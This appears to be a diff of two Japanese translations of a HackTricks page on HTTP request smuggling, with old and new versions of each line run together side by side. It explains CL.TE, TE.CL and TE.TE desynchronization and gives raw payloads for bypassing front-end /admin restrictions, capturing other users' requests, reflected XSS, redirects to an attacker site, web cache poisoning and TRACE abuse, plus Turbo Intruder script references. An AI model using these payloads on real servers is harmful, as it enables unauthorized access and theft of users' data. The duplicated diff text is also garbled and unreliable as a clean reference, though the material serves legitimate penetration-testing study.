* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## これは何か ## これは何か
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバー間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を**送信**できる場合に発生します。このリクエストは、**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\ この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生し、**攻撃者**がHTTP **リクエスト**を**送信**できるときに発生します。このリクエストは**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\
これにより、ユーザーは**バックエンドサーバーに到着する次のリクエストを変更することができます**。 これにより、ユーザーは**バックエンドサーバーに到着する次のリクエストを変更することができます**。
### 理論 ### 理論
@ -40,29 +40,29 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> Transfer-Encodingヘッダーは、ペイロードボディをユーザーに安全に転送するために使用されるエンコーディングの形式を指定します。\ > Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディングの形式を指定します。\
> Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。 > Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。
### 現実 ### 現実
**フロントエンド**(ロードバランス/リバースプロキシは_**content-length**_または_**transfer-encoding**_ヘッダーを処理し、**バックエンド**サーバーは他のヘッダーを処理し、2つのシステム間に**非同期化**を引き起こします。\ **フロントエンド**(ロードバランス/リバースプロキシは_**content-length**_または_**transfer-encoding**_ヘッダーを処理し、**バックエンド**サーバーは他のヘッダーを処理し、2つのシステム間に**非同期化**を引き起こします。\
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**になるとにあります。 これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**注入された2番目のリクエストを**次のクライアントからのものとして**解釈し、**そのクライアントの**実際のリクエスト**が**注入されたリクエストの一部**になるという事実にあります。
### 特異性 ### 特
HTTPでは**新しい行文字は2バイトで構成されています** HTTPでは**新しい行文字は2バイトで構成されています**
* **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。 * **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
* **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**を使用して**次のチャンクのバイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**によって**カウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません:`0` * **Transfer-Encoding:** このヘッダーは、**次のチャンク****バイト数**を示すために**16進数**を使用します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標によってカウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません:`0`
* **Connection**: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。 * **Connection**: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
## 基本的な例 ## 基本的な例
{% hint style="success" %} {% hint style="success" %}
Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、および不正なContent-Lengthを悪用します。 Burp Suiteを使用してこれを悪用しようとする際は、**リピーターで`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、誤ったContent-Lengthを悪用します。
{% endhint %} {% endhint %}
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する際の不一致を悪用するあいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果をもたらします。 HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果をもたらします。
### 脆弱性タイプの基本的な例 ### 脆弱性タイプの基本的な例
@ -79,7 +79,7 @@ HTTPリクエストスムーギング攻撃は、フロントエンドとバッ
* **攻撃シナリオ:** * **攻撃シナリオ:**
* 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。 * 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
* フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。 * フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
* バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の次のリクエストとして解釈します。 * バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の後続リクエストとして解釈します。
* **例:** * **例:**
``` ```
@ -102,7 +102,7 @@ Foo: x
* **攻撃シナリオ:** * **攻撃シナリオ:**
* 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。 * 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
* フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。 * フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
* バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分(`7b`バイト)だけを処理し、残りを意図しない次のリクエストの一部として残します。 * バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分(`7b`バイト)だけを処理し、残りを意図しない後続リクエストの一部として残します。
* **例:** * **例:**
``` ```
@ -128,8 +128,8 @@ x=
* **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を介して無視されるように騙される可能性があります。 * **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を介して無視されるように騙される可能性があります。
* **攻撃シナリオ:** * **攻撃シナリオ:**
* 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。 * 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
* どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。 * どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかによって、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
* リクエストの未処理部分は、サーバーの1つによってのリクエストの一部となり、スムーギングが発生します。 * リクエストの未処理部分は、サーバーの1つによって見られ、後続のリクエストの一部となり、スムーギングが発生します。
* **例:** * **例:**
``` ```
@ -205,11 +205,11 @@ EMPTY_LINE_HERE
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。 この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
#### ホップバイホップヘッダーによる強制 #### ホップバイホップヘッダーによる強制
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムグリングを悪用することが可能です**。 ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です**。
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
@ -221,7 +221,7 @@ For **more information about hop-by-hop headers** visit:
## HTTPリクエストスムージングの発見 ## HTTPリクエストスムージングの発見
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に役立ちます。これらの方法に加えて、他にもこのような脆弱性を見つけるために使用できる戦略やツールがあります。 HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にもこのような脆弱性を見つけるために使用できる戦略やツールがあります。
### タイミング技術を使用したCL.TE脆弱性の発見 ### タイミング技術を使用したCL.TE脆弱性の発見
@ -276,29 +276,29 @@ X
* **Content-Lengthの変動テスト:** * **Content-Lengthの変動テスト:**
* 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。 * 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。
* **Transfer-Encodingの変動テスト:** * **Transfer-Encodingの変動テスト:**
* 難読化されたまたは不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがそのような操作にどのように異なる応答を示すかを監視します。 * 難読化または不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがそのような操作にどのように異なる応答を示すかを監視します。
### HTTPリクエストスムージング脆弱性テスト ### HTTPリクエストスムージング脆弱性テスト
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の[基本的な例](./#basic-examples)で説明した`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストをどのように毒するかを示しています。 タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の[基本的な例](./#basic-examples)で説明した`CL.TE`および`TE.CL`の例は、クライアントのリクエストを毒して404応答を引き出す方法を示していますが、クライアントは異なるリソースにアクセスしようとしています。
**重要な考慮事項** **重要な考慮事項**
他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、以下の点に留意してください。 他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、の点に留意してください。
* **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。 * **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
* **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。 * **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。
* **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。 * **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
* **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能る場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。 * **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能している場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
* **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。 * **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
## HTTPリクエストスムージングの悪用 ## HTTPリクエストスムージングの悪用
### HTTPリクエストスムージングによるフロントエンドセキュリティの回避 ### HTTPリクエストスムージングによるフロントエンドセキュリティの回避
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムージングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されているかもしれませんが、フロントエンドプロキシはそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。 時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムージングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されている場合があり、フロントエンドプロキシがそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これらの制限を回避するための抜け穴を残します。
以下の例は、HTTPリクエストスムージングがどのようにフロントエンドセキュリティ制御を回避するために使用できるかを示しており、特に通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています。 以下の例は、HTTPリクエストスムージングがどのようにしてフロントエンドセキュリティ制御を回避するために使用できるかを示しています。特に、通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています。
**CL.TEの例** **CL.TEの例**
``` ```
@ -319,7 +319,7 @@ x=
``` ```
CL.TE攻撃では、最初のリクエストに`Content-Length`ヘッダーが利用され、次の埋め込まれたリクエストは`Transfer-Encoding: chunked`ヘッダーを使用します。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査できず、`/admin`パスへの不正アクセスを許可します。 CL.TE攻撃では、最初のリクエストに`Content-Length`ヘッダーが利用され、次の埋め込まれたリクエストは`Transfer-Encoding: chunked`ヘッダーを使用します。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査できず、`/admin`パスへの不正アクセスを許可します。
**TE.CL例** **TE.CL 例**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: [redacted].web-security-academy.net Host: [redacted].web-security-academy.net
@ -364,7 +364,7 @@ search=
この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。 この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。 この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
@ -392,18 +392,18 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
``` ```
このシナリオでは、**commentパラメータ**は、公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。 このシナリオでは、**commentパラメータ**は、公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
しかし、この技術には制限があります。一般的に、これはスムグルされたリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。 しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で止まることを意味し、これはクエリ文字列の一部である可能性さえあります。
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。 さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
### HTTPリクエストスムグリングを使用して反射型XSSを悪用する ### HTTPリクエストスムージングを使用して反射型XSSを悪用する
HTTPリクエストスムグリングは、**反射型XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します: HTTPリクエストスムージングは、**反射型XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
* 対象ユーザーとの**対話は不要**です。 * 対象ユーザーとの**対話は不要**です。
* HTTPリクエストヘッダーのような、**通常は到達不可能**リクエストの部分でXSSを悪用することができます。 * HTTPリクエストヘッダーのような、**通常は到達不可能**リクエストの部分でXSSを悪用することができます。
ウェブサイトがUser-Agentヘッダーを介して反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -440,7 +440,7 @@ A=
HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。 HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーギングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を利用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type``text/html` の有効な実行可能な JS コードが含まれます。 [**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーギングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を利用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれているため、レスポンスには `Content-Type``text/html` の有効な実行可能な JS コードが含まれます。
### HTTP リクエストスムーギングによるオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> ### HTTP リクエストスムーギングによるオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -449,7 +449,7 @@ HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: normal-website.com Host: normal-website.com
``` ```
結果は: 結果は次のとおりです
``` ```
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/ Location: https://normal-website.com/home/
@ -484,7 +484,7 @@ Location: https://attacker-website.com/home/
### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャの任意のコンポーネントがコンテンツをキャッシュする**場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。 ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
以前、サーバーの応答を変更して404エラーを返す方法を観察しました[基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否DoSにつながる可能性があります。 以前、サーバーの応答を変更して404エラーを返す方法を観察しました[基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否DoSにつながる可能性があります。
@ -532,11 +532,11 @@ x=1
`GET /private/messages HTTP/1.1`\ `GET /private/messages HTTP/1.1`\
`Foo: X` `Foo: X`
``` ```
このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`を対象としたキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。 このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`用のキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば: [**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
``` ```
TRACE / HTTP/1.1 TRACE / HTTP/1.1
Host: example.com Host: example.com
@ -553,7 +553,7 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script> XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx X-Forwarded-For: xxx.xxx.xxx.xxx
``` ```
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中には**`Content-Type`**も含まれます)。そして、**HEADの直後にTRACEリクエストをスムグル**ことで、**送信されたデータを反映させる**ことができます。\ この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中に**`Content-Type`**が含まれます)。そして、**HEADの直後にTRACEリクエストをスムグル**ことで、**送信されたデータを反映させる**ことができます。\
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させる**ことになります。\ HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させる**ことになります。\
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。 この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
@ -625,11 +625,11 @@ HTTPリクエストスムーギングの脆弱性を見つけたが、どのよ
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md) [request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %} {% endcontent-ref %}
## ターボイントルーダースクリプト ## ターボ侵入者スクリプト
### CL.TE ### CL.TE
[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)から From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -735,15 +735,15 @@ table.add(req)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
